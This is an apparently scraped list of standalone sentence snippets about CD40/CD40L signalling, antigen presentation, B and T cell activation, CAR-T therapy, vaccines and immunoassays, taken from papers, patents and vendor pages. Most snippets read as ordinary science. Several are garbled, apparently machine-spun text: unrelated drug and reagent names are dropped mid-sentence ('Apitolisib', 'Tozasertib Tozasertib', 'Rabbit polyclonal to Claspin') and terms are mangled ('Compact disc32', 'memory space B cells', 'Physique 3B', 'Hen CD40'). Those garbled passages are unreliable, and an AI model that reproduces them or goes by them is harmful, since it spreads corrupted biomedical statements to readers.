  • For instance, although chimeric antigen receptors ( 1 , 2 ) and bispecific antibodies crosslinking cytotoxic T cells with cancer cells ( 3 ) rely on the antigens' cell surface presence, ectopic T cell receptor ( 4 ), tumor-infiltrating lymphocyte (TIL) ( 5 , 6 ), and vaccine-based approaches ( 7 - 18 ) require display of antigenic peptides by major histocompatibility complexes (MHCs), regardless of whether the peptides represent intra- or extracellular TAAs. (
  • It is involved in B cell activation and survival following B cell receptor (BCR) and CD40 crosslinking 32,34,35 . (
  • The first signal may involve the interaction between a major histocompatibility complex peptide complex I and major histocompatibility complex II in an antigen-presenting cell with the T-cell receptor (RCT) on effector lymphocytes. (
  • The inhibitory effect on antibody production by immune complexes has been proven to rely on co-ligation from the B-cell antigen receptor (BCR) using the low-affinity receptor for immunoglobulin G (IgG) (FcRIIb, CD32). (
  • The data suggest that not only BCR-triggered B-cell activation pathways are subject to Fc-receptor modulation but also a subset of CD40 and/or IL-4-mediated signals. (
  • This treatment included dual-specific T cells that expressed a chimeric antigen receptor (CAR) specific for the tumour antigen Her2, and a TCR specific for the melanocyte protein (pMEL, gp100). (
  • We demonstrate selective enrichment of CD40L and ICOS in SE in response to addition of CD40 and ICOSL, respectively, to SLB presenting TCR ligands and ICAM-1. (
  • CD40L is transferred to antigen presenting cells in vitro ( Gardell and Parker, 2017 ). (
  • We show that the polarized transfer of T cell derived SE is determined by selective sorting processes directly in the IS and depends on both the presence of ligands on the SLB and their segregation into the synaptic cleft, as shown for TCR complex:anti-CD3ε/pHLA-DR complexes, CD40L:CD40 and ICOS:ICOSL, but not LFA-1:ICAM-1 bound pairs. (
  • CD40:CD40L interactions in X-linked and non-X-linked hyper-IgM syndromes. (
  • The binding of CD154 (CD40L) on TH cells to CD40 activates antigen presenting cells and induces a variety of downstream effects. (
  • The secondary signal is CD40L (CD154) on the Th1 cell which binds CD40 on the macrophage cell surface. (
  • In parallel, it enhanced the proliferation of CD4(+)/CD8(+) and NK cells along with an increased expression of CD40/CD40L/CD80. (
  • HEK-Blue™ CD40L cells can serve to measure the bioactivity of CD40L through the secretion of embryonic alkaline phosphatase (SEAP) upon NF-κB activation following CD40 stimulation. (
  • HEK-Blue™ CD40L cells were generated by stable transfection of human embryonic kidney HEK 293 cells with the human CD40 gene and an NF-κB-inducible SEAP construct. (
  • CD40L-CD40 interaction can be monitored by assessing the levels of SEAP using QUANTI-Blue™ Solution . (
  • Targeting the CD40-CD40L pathway in autoimmune diseases: Humoral immunity and beyond. (
  • Molecular mechanism and function of CD40/CD40L engagement in the immune system. (
  • In the presence of appropriate co-stimulatory signals, such as CD40-CD40L (CD154) or CD28-B7.1/B7.2 (CD80/CD86), this cognate interaction results in B cell activation and proliferation, in particular through the production of cytokines. (
  • In the presence of optimal co-stimulation (through CD40-CD40L [CD154] and/or CD28-B7.1/B7.2 [CD80/CD86]), B cells become fully activated, in particular through the production of T cell-derived cytokines (right). (
  • CD40-CD40L interaction also plays important roles in monocyte activation and dendritic cell maturation. (
  • These studies suggest that Tfr suppressor function is definitely complex and is modulated by BCR signaling and CD40-CD40L relationships. (
  • CD40-CD40L relationships were also required for Ig production, but not differentiation, in the presence of B cell engagement. (
  • The company's lead wholly owned program, SL-172154 (SIRPα-Fc-CD40L), which is designed to block the CD47 immune checkpoint and simultaneously agonize the CD40 pathway, is being evaluated in a Phase 1 trial. (
  • for instance, the use of CD40 agonist antibody plus antigen showed remarkably rapid immune response and protection in a murine model of anthrax. (
  • One must demonstrate deficiency of specific antibody responses to documented infections or vaccine antigens. (
  • The MR1 antibody has been reported to inhibit the activation of T and B lymphocytes in vitro and antigen-specific lymphocyte responses in vivo . (
  • CD4 T cells bind B cells, and via transmission of costimulatory signals (CD40 is an important example) induce B-cell differentiation into antibody-secreting plasma cells or into long-living memory B cells. (
  • The dimeric antigen receptors have antibody-like properties as they bind specifically to a target antigen. (
  • Antigen receptors comprising both an antibody heavy chain binding region and an antibody light chain binding region in separate polypeptide chains and their use in directed cell therapy are disclosed herein in an effort to meet this need and/or provide other benefits, or at least provide the public with a useful choice. (
  • This assay employs an antibody specific for Human CD40 coated on a 96-well plate. (
  • Standards and samples are pipetted into the wells and CD40 present in a sample is bound to the wells by the immobilized antibody. (
  • The wells are washed and biotinylated anti-Human CD40 antibody is added. (
  • Immune system failure in primary antibody deficiencies (PADs) has been linked to recurrent infections, autoimmunity, and cancer, yet clinical judgment is often based on the reactivity to a restricted panel of antigens. (
  • Superiority in Rhesus Macaques of Targeting HIV-1 Env gp140 to CD40 versus LOX-1 in Combination with Replication-Competent NYVAC-KC for Induction of Env-Specific Antibody and T Cell Responses. (
  • Together, these results indicate that prime-boost immunization via NYVAC-KC and either anti-CD40.Env gp140/poly-ICLC or anti-LOX-1.Env gp140/poly-ICLC induced balanced antibody and T cell responses against HIV-1 Env. (
  • Overall, targeting Env to CD40 gave more robust T cell and serum antibody responses with broader epitope representation and greater durability than with LOX-1.IMPORTANCE An effective vaccine to prevent HIV-1 infection does not yet exist. (
  • Both vaccines, but especially that delivered via CD40, raised robust immunity against HIV-1 as measured by monitoring potentially protective antibody and T cell responses in the blood. (
  • Beijing, China, July 12, 2022 - Biocytogen subsidiary Eucure Biopharma announced that the first patient has been dosed in a phase II clinical trial (No. YH003006) evaluating YH003 , an internally developed CD40 monoclonal antibody (mAb), in combination with Pembrolizumab (PD-1 mAb) and albumin-bound paclitaxel as a first-line treatment for patients with unresectable/metastatic mucosal melanoma. (
  • With various clinical and experimental applications, blocking antibody is receiving increasing attention in studies, which does not react with antigen when combining but prevents other combinations, playing a role in clinical uses that it can prevent the harmful substance from binding to the cell. (
  • Anti-idiotypic antibody (anti-ID antibody) specifically binds to the antigen-binding site of an antibody, which can be classified into Type I anti-ID (the target idiotope is within CDR), Type II anti-ID (the target idiotope is within FR), Type III anti-ID (partially blocks antigen-antibody interaction), and Type IV anti-ID (recognizes the idiotopes of both antibody and antigen). (
  • Creative Biolabs provides agonistic antibody products against the tumor necrosis factor (TNF) family, such as CD27, CD40, and OX40 to support the research on therapeutic antibodies of agonism mechanism of action. (
  • Crude Inactivated Influenza A Virus Adjuvated with a Bispecific Antibody Advanced Focusing on Hen CD40 and AIV M2e Confers Safety Towards Deadly HPAI Problem in Chickens. (
  • On this research, this antibody-guided immunization technique was modified to allow incorporation of inactivated extremely pathogenic avian influenza virions (in lieu of brief artificial peptides) because the immunogen by merely mixing a bispecific antibody advanced (anti-CD40/M2e) with crude inactivated virus earlier than injection. (
  • CD20 is an established target antigen for antibody-based immunotherapy in cancer (like lymphoma) and B-cell mediated autoimmune disease. (
  • cells have been found to regulate early and not late GC reactions to control antigen-specific antibody and B cell memory space (18, 25). (
  • B cells express B cell receptors (BCRs) on their cell surface that allow for antigen binding, against which it will initiate an antibody response. (
  • Upon antigen activation, conventional B cells, also known as B-2 cells, terminally differentiate into antibody-producing plasma cells and memory B cells in secondary lymphoid tissues, such as the spleen and lymph nodes. (
  • In B cells, CD40 signaling has a major role in regulating cell proliferation, antibody production, and memory B cell development. (
  • We recently demonstrated that HOIL-1L interacting protein (HOIP), a ubiquitin ligase that can catalyze the assembly of linear polyubiquitin chains [5], is recruited to CD40 in a TRAF2-dependent manner following engagement of CD40 by agonistic antibody [6]. (
  • The percentage of vaccinees responding with goes up in the titer of serum IgA antibody against the many CFA antigens was also lower after immunization using the decreased dosage of CFA-ETEC bacterias. (
  • Sandwich ELISA analysis of Human CD40 binding using Mouse anti Human CD40 antibody, clone 3B2 ( MCA2788GA ) as a capture reagent and biotinylated Mouse anti Human CD40 antibody, clone LOB7/6 ( MCA1590 ) as a detection reagent with purified Human CD40 as antigen for the generation of the standard curve. (
  • Keywords: allergy, B lymphocytes, Compact disc32, IgE, isotype switching Launch The category of immunoglobulin Fc receptors (FcR) has an important function in several biological processes, such as for example phagocytosis, clearance of immune system complexes, antigen display, antibody-mediated mobile cytotoxicity, creation of inflammatory mediators and legislation of Apitolisib immunoglobulin synthesis. (
  • The hybridoma cell line producing mouse monoclonal anti-human CD40 was obtained from Dr Shu man Fu (University of Virginia, Charlotteville, VA). For flow cytometry, a mouse anti-human CD19 fluorescein isothiocyanate (FITC)-conjugated antibody (Immunotech, Marseille, France) was used. (
  • Therefore, I directed my study to augment the anti-tumour activity of ACTIV therapy by the administration of either a histone deacetylase inhibitor (Panobinostat) or an immune agonist monoclonal antibody specific for CD40. (
  • In addition, administration of an agonist CD40 monoclonal antibody with ACTIV therapy significantly reduced the tumour growth and prolonged survival of mice bearing subcutaneous Her2+ pancreatic tumours through a T-cell-dependent immune mechanism. (
  • Long-term human B cell lines dependent on interleukin-4 and antibody to CD40. (
  • As a result, the macrophage expresses more CD40 and TNF receptors on its surface which helps increase the level of activation. (
  • Studies were also presented on novel molecules involved in the recognition of carbohydrate antigens such as specific intercellular adhesion molecule (ICAM)-grabbing nonintegrins, which are C-type lectins that show substantial expression in many tissues, and toll-like receptors, which function as pattern recognition receptors for conserved pathogen structures and serve as key links between innate and adaptive immunity. (
  • The present disclosure provides dimeric antigen receptors (DAR) constructs that bind a BCMA target antigen, where the DAR construct comprises a heavy chain binding region on one polypeptide chain and a light chain binding region on a separate polypeptide chain. (
  • The two polypeptide chains that make up the dimeric antigen receptors can dimerize to form an antigen binding domain. (
  • The dimeric antigen receptors can be used for directed cell therapy. (
  • The present disclosure provides dimeric antigen receptors (DAR) protein constructs that bind specifically to a target antigen, nucleic acids that encode the dimeric antigen receptors, vectors comprising the nucleic acids, and host cells harboring the vectors. (
  • Chimeric antigen receptors (CARs) have been developed to target antigens associated, in particular, with cancer. (
  • Adoptive immunotherapy by infusion of T cells engineered with chimeric antigen receptors (CARs) for redirected tumoricidal activity represents a potentially highly specific modality for the treatment of metastatic cancer. (
  • The current therapeutic modalities yielding encouraging results in clinical trials include the blockade of immune checkpoint receptors to overcome the immune-evasion mechanism used by tumors and the incorporation of tumor-directed chimeric antigen receptors to enhance NK cell anti-tumor specificity and activity. (
  • Another promising cancer treatment modality that has raised considerable interest is the incorporation of tumor-directed chimeric antigen receptors (CARs) in immune effector cells. (
  • Although resting resident macrophages express very little if any MHC class II, antigens are usually encountered in the context of a microbial infectious agent that can activate the macrophage to express class II following engagement of pattern recognition receptors, such as TLR4 by bacterial lipopolysaccharide (LPS). (
  • These vaccines bind to either CD40 or LOX-1, two dendritic cell surface receptors with different functions and tissue distributions. (
  • However, it is unclear whether locality of immunization plays any role in memory B cell participation in recall germinal centers (GCs), which is essential for updating their B cell antigen receptors (BCRs). (
  • To trigger an adaptive immune response, an APC fi rst displays an antigen to T-cell receptors on neighboring T cells. (
  • AP1903 binds to and activates iCD40 receptors presented on DC cell surfaces, thus activating the DCs and stimulating a cytotoxic T-lymphocyte (CTL) response against host tumor cells that express the tumor antigen. (
  • This includes, for example, expression of chimeric antigen receptors (CARs). (
  • In addition, the T cell requires other "ON" signals, which are achieved through cytokines and binding of the co-receptors CD4 or CD8 to the MHC molecule that is presenting the antigen to the TCR. (
  • CD95 (APO-1/Fas) is a member of the superfamily that includes the nerve growth factor and tumor necrosis factor receptors, OX40, CD27, CD30, and CD40. (
  • cetuximab), epithelial cell adhesion molecule (EpCAM), carcinoembryonic antigen (CEA), and tumor necrosis element (TNF) family members receptors (e.g. (
  • The classic immune checkpoint consists of co-inhibitory receptors (CTLA-4, PD-1, TIGIT, LAG-3), which inhibit T-cell function and co-stimulatory receptors (GITR, 4-1BB, OX40, CD40) which stimulate T cell activation. (
  • Monitoring of different homing receptors on circulating ASCs induced by different routes of immunization shows that ASCs from the IgA isotype assayed seven days after administration of dental antigen generally represent cells Rabbit polyclonal to Claspin of gut origins (12, 17). (
  • T cell receptors can recognize antigen fragments bound to the major histocompatibility complex on the surface of an antigen-presenting cell. (
  • Early evidence for these effects were that in CD40 or CD154 deficient mice, there is little class switching or germinal centre formation, and immune responses are severely inhibited. (
  • CD40 is also expressed on B cell precursors in the bone marrow, and there is some evidence that CD40-CD154 interactions may play a role in the control of B cell haematopoiesis. (
  • CD154 is an accessory molecule expressed predominantly on activated CD4 + lymphocytes that bind CD40. (
  • This local preference is unaffected by blocking CD40:CD154 interaction to terminate active, GC responses. (
  • Costimulation through CD40-CD154 plays an important role in T-cell activation. (
  • Our data suggest that CD40-CD154 costimulation contributes to T cell priming to alloantigens in vivo and to a second set rejection phase in which donor antigens are presented to primed T cells. (
  • Evidence suggests that CD40-dependent activation of B-cells is important for generation of memory B-cells within the germinal centers. (
  • Cluster of differentiation 40, CD40 is a costimulatory protein found on antigen-presenting cells and is required for their activation. (
  • The B cell can present antigens to helper T cells. (
  • Consistent with its widespread expression on normal cells, CD40 is also expressed on a wide range of tumor cells, including non-Hodgkin's and Hodgkin's lymphomas, myeloma and some carcinomas including nasopharynx, bladder, cervix, kidney and ovary. (
  • While studies of peptide and protein antigens have been facilitated by the rapid advances in genomics and proteomics, studies of sugar chains, which are abundantly expressed on the outer surfaces of viral, bacterial, protozoan, and fungal pathogens and on the membranes of mammalian cells, have not kept pace with technologic advances. (
  • A number of presentations were focused on the role of CD1 proteins, which present lipid antigens (e.g., from mycobacteria or Francisella tularensis , a potential weapon of bioterrorism) to T cells. (
  • B cells are frequently found in melanoma metastases, and display signs of antigen experience. (
  • When CD8 T cells of mixed-chimera mice were functionally examined, they were found to be hypo-responsive to allogenic re-stimulation to either donor or host antigens . (
  • CD48 may participate in CD40-mediated activation of B cells. (
  • The innate immune system is composed of macrophages, neutrophils and natural killer (NK) cells as well as nonpolymorphic proteins, such as complement and cytokines, which respond to generic antigens. (
  • Class I antigens (HLA A, B and C) are present on all nucleated cells, while class II antigens (HLA DR, DQ and DP) are found on antigen presenting cells and can be upregulated on vascular endothelium after ischemia reperfusion injury. (
  • Cellular alloimmunity: Cell-mediated alloimmunity is initiated by antigen-specific T cells that, in concert with other cellular components, result in cytolytic and cytokine-induced damage of a transplanted organ. (
  • Initial antigen recognition predominantly occurs in secondary lymphoid organs, where recipient T cells interact with antigens derived from the donor. (
  • The primed T cells then migrate back to the graft where they re-encounter antigens and mediate their effector functions. (
  • In the normal host, T cells are "trained" to recognize foreign peptides expressed in the context of self-MHC molecules and are tolerant to self antigens. (
  • It is mainly expressed in CD4+-T cells and interacts with CD40 on antigen-presenting cells to regulate both humoral and cellular immune responses [1-3]. (
  • DESCRIPTION (provided by the applicant): T lymphocytes see antigen only as small peptides bound to MHC molecules on the surface of antigen presenting cells (APC). (
  • TCR CAR-T cells against various tumor antigens have been developed (Ma et al. (
  • Activation of CD40 has also been shown to inhibit the growth of certain B cell lymphomas and to induce the death of transformed cells of mesenchymal or epithelial origin. (
  • A membrane glycoprotein and differentiation antigen expressed on the surface of T-cells that binds to CD40 ANTIGENS on B-LYMPHOCYTES and induces their proliferation. (
  • Jana M, Dasgupta S, Liu X, Pahan K. Regulation of tumor necrosis factor-alpha expression by CD40 ligation in BV-2 microglial cells. (
  • When exposed to an antigen, they divide rapidly and produce large numbers of new T cells sensitized to that antigen. (
  • To activate cytotoxic T cells, antigens should be captured and presented via the major histocompatibility complex- (MHC-) I [6]. (
  • Along with the sustained release of antigen within several days in the retention systems, a flow of antigen-presenting cells (APCs) can be recruited for uptake and maturation, and these then home to lymph nodes to activate T cells. (
  • As a large number of APCs and T cells reside in lymph nodes, directly delivering antigen into lymph nodes is being considered as an alternative and even preferred strategy [13, 14]. (
  • were able to activate CD8+ T cells in an antigen-specific manner (24). (
  • The amount of FV disease of B cells was analyzed by movement cytometric recognition of surface manifestation from the viral antigen, glycosylated gag (glycogag), as previously referred to (22). (
  • A good example of the gating technique for B cells and recognition of FV glycogag antigen can Nitro blue tetrazolium chloride be demonstrated in Fig.?1A. (
  • Although DR+IC exhibited limited expression of markers ascribed to mature hematopoietic lineages, expression of HLA-DR, CD40 and CD86 suggested a role as antigen presenting cells. (
  • Co-stimulatory molecules CD86 and CD40 and cytokines such as IL-12 were confirmed to be upregulated on the transcriptional level in knock-in cells (Physique 3B). (
  • Also, molecules involved in antigen presentation (MHC class II and CIITA), and in the JAK/STAT signaling (JAK2, STAT5, SOCS2) pathway were upregulated, whilst components involved in antigen uptake (Sort1, CD68, Stab1) were downregulated in knock-in cells (Amount 3B), credit reporting that the growth position was affected in knock-in DCs. (
  • Nevertheless, antigen subscriber base was not really decreased in knock-in cells (Amount 3C), suggesting that the cells can still consider up antigen although they are in a even more older condition. (
  • Our interpretation is that small lymphocytes expressing donor antigens in the absence of appropriate costimulatory signals are tolerogenic for alloreactive host cells. (
  • Local boosts with homologous antigen recruit the progeny of primary GC B cells to recall GCs more efficiently than do distal boosts. (
  • To that end, several companies are developing drugs targeting molecules at the immunological synapse, the interface between T cells and antigen-presenting cells (APCs). (
  • YH003 promotes the activation of antigen-presenting cells and positively regulates the effector activity of anti-tumor T cells. (
  • Thus, it was demonstrated that blebs that appear on the surface of apoptotic cells, such as keratinocytes exposed to UV light, contained nucleosomes as well as other lupus target antigens, such as the ribonucleoproteins Ro and La, thereby suggesting that apoptotic waste could be a source of autoantigens ( 8 ). (
  • Taken together, these results suggest that autoantigens are processed by professional antigen-presenting cells and presented to autoantigen-restricted T-helper cells. (
  • Tumor cells exploit certain immune-checkpoint pathways as a major mechanism of immune resistance, particularly against T cells that are specific for tumor antigens. (
  • Velasquez and her team tested whether expression of inducible co-stimulatory proteins that activate MyD88, CD40, or both MyD88 and CD40 immune pathways in ENG T cells improves their antitumor activity. (
  • Present on a minority of resting blood lymphocytes, CD95 expression is upregulated on activated T and B lymphocytes and natural killer cells, where binding of the antigen by anti-Fas and anti-APO-1 antibodies has been shown to induce apoptosis. (
  • We have previously demonstrated that priming of mice (H2(d)) with CD40(-/-) but not with wild-type naive B cells (H2b) leads to alloantigen- specific T-cell hyporesponsiveness in vitro. (
  • Prolongation of graft survival correlated with the failure of infused CD40(-/-) B cells to express B7.2 and ICAM-1 in vivo. (
  • As helminths RGFP966 are experts in modulating the immune system, their antigens are extensively studied to define how they trigger antigen-presenting cells such as macrophages and DCs to induce Th2-cell responses 19. (
  • It mediates a range of activities on B cells including induction of activation-associated surface antigen, entry into cell cycle, isotype switching and Ig secretion and memory generation. (
  • of the costimulatory molecules CD40 and CD80, and low levels of interleukin (IL)-12 produced by peritoneal macrophages, revealing an early on stage of maturation of the cells. (
  • Antigen was ready from promastigote fixed stage civilizations as previously referred to.21 Briefly, cells were washed four occasions in PBS, the concentration was adjusted to 1 1 108 cells/ml, and cells were frozen/thawed three times. (
  • When the BCR was engaged, proliferation of CD40 deficient B cells was partially restored, but was susceptible to suppression by Tfr. (
  • We evaluated tumor-associated antigen specific T-cell responses in previously collected peripheral blood mononuclear cells, available from 15 patients. (
  • Panayiota Siskos '23 Autoimmune thyroid diseases, such as Graves' disease and Hashimoto's disease, are often characterized by the infiltration of T cells and B cells in the thyroid as well as the production of antibodies specific to thyroid antigens. (
  • Type 1 T regulatory (Tr1) cells suppress immune responses in vivo and in vitro and play a key role in maintaining tolerance to self- and non-self-antigens. (
  • DC-10 isolated from peripheral blood or generated in vitro are potent inducers of antigen-specific IL-10-producing Tr1 cells. (
  • Recombinant human proliferating cell nuclear antigen with a hexa-histidine tag from insect cells. (
  • Our classic understanding of antigen presentation to CD8 + T cells involves transport of cytosolic peptides into the endoplasmic reticulum (ER) by the transporter associated with antigen processing (TAP), where they can be loaded onto MHC class I molecules through the canonical peptide loading complex. (
  • US6-treated DCs could still cross-present extracellular antigen, quantified by proliferation of co-cultured antigen-specific CD8 + T cells. (
  • These findings indicated that DCs deficient in TAP, either in the short-term (US6 treatment) or long-term (TAP knockout), could reliably cross-present antigen to CD8 + T cells regardless of the intracellular location of MHC-I. (
  • abstract: BACKGROUND:Agonistic CD40 antibodies have been demonstrated to activate antigen-presenting cells (APCs) and enhance antitumour T cell responses, thereby providing a new therapeutic option in cancer immunotherapy. (
  • When DCs were fixed, this inhibitory effect of IKK2dn was lost, suggesting that IKK2 is involved in T-cell-derived signals that enhance DC antigen presentation during the allogeneic MLR period and does not have an effect on viability or differentiation state of DCs prior to coculture with T cells. (
  • The vaccine formulation utilizes an MP matrix that provides protection of the antigen and improved antigen uptake by antigen-presenting cells (APCs). (
  • Microparticles (MPs) are suitable delivery vehicles for vaccine antigens as they are better taken up by antigen-presenting cells, and they eliminate the need for cold chain storage. (
  • Because MHC class I antigen is frequently deleted in cancer, responses to poorly immunogenic tumour antigens can be enhanced by antigen-specific CD4+ T cells and even by antibodies to CD40 that act by increasing the T-cell stimulatory capacity of antigen-carrying DCs. (
  • B cells are lymphocytes that are part of the adaptive humoral immune system and are best known for their ability to produce antigen-specific antibodies. (
  • In addition to producing antibodies, B cells play important roles in mediating cellular immunity through generating immunological memory, antigen presentation to enhance T-cell responses, and the production of immunomodulatory cytokines 1,2 . (
  • V(D)J recombination within the immunoglobulin H (heavy) and L (light) chain gene loci at the pro-B and pre-B stages (respectively), results in the generation of unique amino acid sequences in the antigen-binding to create a vast repertoire of unique BCRs capable of recognizing a broad diversity of antigens from pathogens to "altered self" like tumor cells 2 . (
  • Activated B cells undergo a period of rapid proliferation and somatic BCR hypermutation (BCR diversification) to select B cell clones that produce antibodies with a high affinity for that particular antigen 3 . (
  • The ability of B cells to produce antigen-specific monoclonal antibodies (mAb) has been exploited by the biopharmaceutical industry for decades and are the largest class of biomedicines to treat a wide range of diseases. (
  • B cell clones whose antibodies recognize one unique epitope or antigen are isolated and immortalized through fusion with myeloma cells to form hybridomas 3 . (
  • To provide more long-term protection, CRISPR was used to insert the gene encoding palivizumab into human B cells such that the engineered B cells could produce palivizumab when activated by RSV antigens. (
  • As more damage occurs, more antigens capable of stimulating B cells are liberated. (
  • We found that the CD40-induced upregulation of CD80 and activation of germline immunoglobulin epsilon transcription were defective in HOIP-deficient cells. (
  • Recruitment of IκB kinase proteins to the CD40 signaling complex was undetectable in HOIP-deficient cells, potentially explaining the defect in NF-κB activation. (
  • We found that the CD40-induced upregulation of CD80 (a costimulatory molecule for T cells) was defective in HOIP-deficient cells. (
  • We also found that the CD40-mediated activation of NF-κB and the stress-activated protein kinase c-Jun kinase (JNK) was defective in HOIP-deficient cells. (
  • Consistent with impaired NF-κB activation, association of the IκB kinase (IKK) complex with CD40 was undetectable in HOIP-deficient cells. (
  • Results Generation of HOIP-deficient B cells via targeted disruption of Rnf31, the gene encoding HOIP In our previous study, we demonstrated that HOIP is recruited to the CD40 signaling complex in two mouse B cell lines [6]. (
  • Bcl-xL but not Bcl-2 is rapidly induced in peripheral B cells upon surface immunoglobulin M (IgM) cross-linking, CD40 signaling, or LPS stimulation. (
  • Induction of Bcl-xL after signaling through surface IgM and CD40 appears to provide mature B cells with an additional protective mechanism against apoptotic signals associated with antigen-induced activation and proliferation. (
  • It is generally assumed that to be effective, these cell lines need to express immunogenic antigens coexpressed in patient tumor cells, and antigen-presenting cells need to take up such antigens then present them to patient T cells. (
  • Compared to normal human breast cells, SV-BR-1-GM cells overexpress genes encoding tumor-associated antigens (TAAs) such as PRAME, a cancer/testis antigen. (
  • Moreover, both SV-BR-1-GM cells and the responding study subject carried an HLA-DRB3*02:02 allele, raising the question of whether SV-BR-1-GM cells can directly present endogenous antigens to T cells, thereby inducing a tumor-directed immune response. (
  • In contrast to traditional chemo- or radiation therapies that kill fast-dividing cells irrespective of whether they are cancerous or normal, the goal of cancer immunotherapy is to eliminate malignant cells based on their antigenic makeup, their tumor-associated antigens (TAAs). (
  • Whole-cell preparations with live but irradiated cancer cells express a very large number of antigens of which some may be coexpressed in the patient's tumor(s) ( 19 ). (
  • BMDC treated with MG: OVA upregulated CD86 and CD40 expression as well as MG alone, indicating that conjugation of OVA does not alter the immunostimulatory capacity of MG. Activation of CD8+ OVA-specific OT-1 cells showed that MG: OVA is also capable of enhancing cross-presentation by BMDC to CD8+ cytotoxic T cells. (
  • Compromised stem cells can mature into antigen-processing cells, and some possess phagocytic capabilities. (
  • These cells can capture the antigen and migrate to the lymphoid organs, where they present the antigens to naïve T cells. (
  • Further characterization of CD19 + CD24 − CD38 hi plasmablasts/plasma cells was carried out by evaluating additional surface markers, including CD27, CD95, and human leukocyte antigen (HLA)-DR, by flow cytometric assay. (
  • Ex vivo or in vitro expansion of antigen-specific T cells are usually required for clinical trial monitoring of T cell responses after vaccination or immunotherapy. (
  • To be able to proliferate, antigen-specific T cells need to recognize antigens presented on the surface of antigen presenting cells (APC) for activation. (
  • We successfully identified bovine serum albumin (BSA), the most abundant protein in FCS, as the antigen that stimulated its specific CD4 + T cells restricted to HLA-DRB1*01:01 and HLA-DPB1*03:01. (
  • Antigen-specific CD4 + T cells have the potential to sustain effective immune responses to pathogens and cancers. (
  • Indeed, adoptive transfer of tumor antigen-specific CD4 + T cells successfully eradicated melanoma [4]. (
  • Moreover, adoptive transfer of antigen-specific CD4 + regulatory T cells (Tregs), which constantly express transcription factor Foxp3, is considered a promising immunotherapy to treat autoimmune diseases [5, 6]. (
  • Long-term culture is usually required to expand considerable numbers of antigen-specific T cells for clinical trial monitoring of T cell responses after vaccination or immunotherapy. (
  • Antigen-specific T cells are often expanded by specific antigen-pulsed APCs. (
  • Thus, it is highly likely that APCs could capture and present such antigens to T cells. (
  • We eventually identified serum protein bovine serum albumin (BSA) as the antigen to activate its specific CD4 + T cells. (
  • To better understand the pathophysiology of EBV infection that is occurring in our case, the following series of graphics explains both the normal activation pathway of B cells when stimulated by antigen and the mechanism by which EBV drives naïve infected B cells to recapitulate this pathway. (
  • These types of leukocytes circulating in the body have the ability to ingest and digest exogenous antigens like organisms, insoluble particles, and endogenous matters such as dead host cells, injured cells, cell debris, etc. (
  • As described earlier, macrophages act as " Antigen Presenting Cells " (APC) but they need to be activated before they start presenting antigens on their surface. (
  • OBI Pharma has initiated a global Phase 3 trial in Triple Negative Breast Cancer patients with Adagloxad Simolenin, a therapeutic vaccine targeting the antigen Globo H ceramide which is expressed on the surface of epithelial tumor cells. (
  • This strategy poses challenges when considering tumour immune evasion mechanisms, which can cause downregulation of target antigens, and heterogeneity of tumour cells and patients. (
  • Additionally, the company is advancing a proprietary Gamma Delta T Cell Engager platform, GADLEN™, which is designed to bridge gamma delta T cells to tumor antigens for the treatment of cancer. (
  • Functional assays performed in vitro indicated that murine CARaMEL T cells mediated antigen-specific cytokine secretion and killing abilities against pancreatic cancer cells, and demonstrated potent proliferative ability in response to gp100 antigen, confirming our hypothesis. (
  • In vitro functional assays indicated that human CARaMEL T cells mediated powerful and antigen-specific killing and cytokine secretion against Her2, together with a strong proliferative ability in response to gp100 antigen. (
  • This kind of immune response involves antigen-presenting cells (APCs), B and T cells. (
  • Single-cell analysis of IgG memory space B cells from SLE individuals and healthy settings demonstrated that the majority of autoreactive IgG antibodies arise from nonautoreactive precursors, because many of these autoantibodies dropped reactivity to examined personal antigens when their sequences had been back-mutated with their germ series settings (Mietzner, Tsuiji et al. (
  • Our goal was to improve upon cancer vaccination with tumor antigens by delivering PSMA via a CD40-targeted adenovirus vector directly to DCs as an efficient means for activation and antigen presentation to T-cells. (
  • To maximize antigen presentation in target cells, both MHC class I and TAP protein expression was induced in RM-1 cells by transduction with an Ad vector expressing interferon-gamma (Ad5-IFNγ). (
  • Administering DCs infected ex vivo with CD40-targeted Ad5-huPSMA, as well as direct intraperitoneal injection of the vector, resulted in high levels of tumor-specific CTL responses against RM-1-PSMA cells pretreated with Ad5-IFNγ as target cells. (
  • Therefore, measurements of specific antibodies and responses to polysaccharide and protein antigens are more useful, in most cases, than total IgG or IgG subclass measurements. (
  • This can be achieved by using bispecific antibodies recognizing CD20 and inducing CD95 apoptosis only after initial interaction with the target antigen. (
  • In conclusion, the generated DC alone or the DC containing in vitro engineered tissue models will likely be useful in a variety of studies related to: 1) allergenicity, 2) microbial infection and transmission, 3) neutralizing antibodies and anti-microbial agents, 4) antigen capture and presentation, 5) innate immunity, and 6) immuno-therapy. (
  • We are committed to providing IVD test manufacturers with highest performance and quality antibodies, antigens and other raw materials for PCNA diagnostics immunoassay development. (
  • If antibodies to PCNA occur in SLE, this antigen is of high diagnostic value as we can expect very small inter-individual variations. (
  • Once terminally differentiated, the plasma B cell only secretes antibodies specific for that antigen and can no longer generate antibodies to other antigens. (
  • Using a combination of anti-HLA (human leukocyte antigen) antibodies and a BCL panel that matched a single donor's HLA molecules, we were able to define these HLA-DRB1*01:01- and HLA-DPB1*03:01-restricted CD4 + T cell responses. (
  • 1992). Molecular evaluation of anti-dsDNA antibodies from human beings and mice shows that there can be an antigen-driven collection of these mutations in at least some antibodies. (
  • The antigens apart from chromatin that trigger production of anti-DNA antibodies in lupus remain a mystery. (
  • Cross-reactivity of anti-DNA antibodies with various other antigens continues to be established clearly. (
  • During this process, many factors are responsible for the generated immune responses, such as number and type of recruited APCs, uptake amount of antigen, and APC maturation and subsequent trafficking to lymph nodes [10-12]. (
  • However, as they differentiate into fully fledged APCs, they decrease their phagocytic and endocytic activity, show reduced levels of molecules involved in antigen capture, but dramatically increase their MHC class II. (
  • Interestingly, before being pulsed with the antigens of interest, APCs are often exposed to various irrelevant antigens, including antigens derived from fetal calf serum (FCS), which is supplemented to cell culture or cell isolation media [7-12]. (
  • DCs induce an Tozasertib Tozasertib initial response against the parasite during infections.11 DCs catch amastigotes and migrate to regional lymph nodes, where they become mature, up-regulating main histocompatibility organic (MHC) course II and costimulatory Tozasertib substances, including Compact disc80, CD40 and CD86. (
  • As a consequence, expression of major histocompatibility complex (MHC) classes I and II as well as of costimulatory molecules, such as CD40, CD80, CD86, and also CD83, is strongly induced (1,C3). (
  • Blood monocytes from patients could not differentiate into immature monocyte-derived DCs (MoDCs), indicated by a significantly reduced ability to process antigen and reduced expression of costimulatory ( CD40 , CD80 and CD86 ) and MHC (HLA-DR) molecules, relative to controls. (
